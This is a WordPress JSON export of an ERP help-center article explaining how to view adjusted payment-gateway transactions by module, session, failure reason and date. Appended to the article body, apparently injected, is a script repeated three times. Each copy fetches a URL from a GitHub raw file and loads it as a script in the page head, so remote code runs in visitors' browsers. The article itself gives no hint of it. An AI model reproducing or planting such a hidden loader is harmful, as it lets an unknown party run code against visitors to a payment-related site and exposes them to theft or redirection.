{"id":2185,"date":"2019-11-15T11:26:34","date_gmt":"2019-11-15T05:56:34","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=2185"},"modified":"2024-12-23T08:57:08","modified_gmt":"2024-12-23T03:27:08","slug":"how-to-view-all-the-adjusted-transactions","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-to-view-all-the-adjusted-transactions\/","title":{"rendered":"How to view all the adjusted transactions?"},"content":{"rendered":"<p><span style=\"font-weight: 400;\"> <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-90\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2019\/06\/Menu.png\" alt=\"\" width=\"20\" height=\"14\" \/> &gt; Payment Gateway &gt; Adjustments<br \/>\n<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Adjustments are those transactions for which fee collection could not happen due to the mismatch between the dues and fees received. Adjustment of the money received can be required in two cases: <\/span><b>Anomaly<\/b><span style=\"font-weight: 400;\"> and <\/span><b>Duplicate Transactions. <\/b><span style=\"font-weight: 400;\">The page will be displayed with the Payment Origin, Payment ID, Response Date, Payment Processor, Student Detail, Failure Reason, Paid Amount, Fee Amount and Action.<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Select <\/span><b>Module<\/b><span style=\"font-weight: 400;\"> (Admission or Fee) from the drop-down menu.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Select <\/span><b>Academic Session<\/b><span style=\"font-weight: 400;\"> from the drop-down menu.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Select <\/span><b>Failure Reason<\/b><span style=\"font-weight: 400;\"> (Duplicate or Anomaly) from the drop-down menu.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Click <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2181\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2019\/11\/58.png\" alt=\"\" width=\"27\" height=\"27\" \/><\/span><span style=\"font-weight: 400;\"> to select the date range. <\/span><\/li>\n<li style=\"font-weight: 400;\">Click <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2180\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2019\/11\/57.png\" alt=\"\" width=\"28\" height=\"24\" \/> to apply more filters to select <b>Class<\/b> and <b>Section <\/b>and click <b>Apply<\/b>. The list of all adjusted transactions will be displayed.<\/li>\n<\/ol>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&gt; Payment Gateway &gt; Adjustments Adjustments are those transactions for which fee collection could not happen due to the mismatch between the dues and fees received. Adjustment of the money received can be required in two cases: Anomaly and Duplicate Transactions. The page will be displayed with the Payment Origin, Payment ID, Response Date, Payment &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-to-view-all-the-adjusted-transactions\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;How to view all the adjusted transactions?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":20,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[450],"tags":[451],"post_folder":[],"class_list":["post-2185","post","type-post","status-publish","format-standard","hentry","category-adjustments","tag-adjustments"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/2185","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/20"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=2185"}],"version-history":[{"count":5,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/2185\/revisions"}],"predecessor-version":[{"id":9220,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/2185\/revisions\/9220"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=2185"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=2185"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=2185"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=2185"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}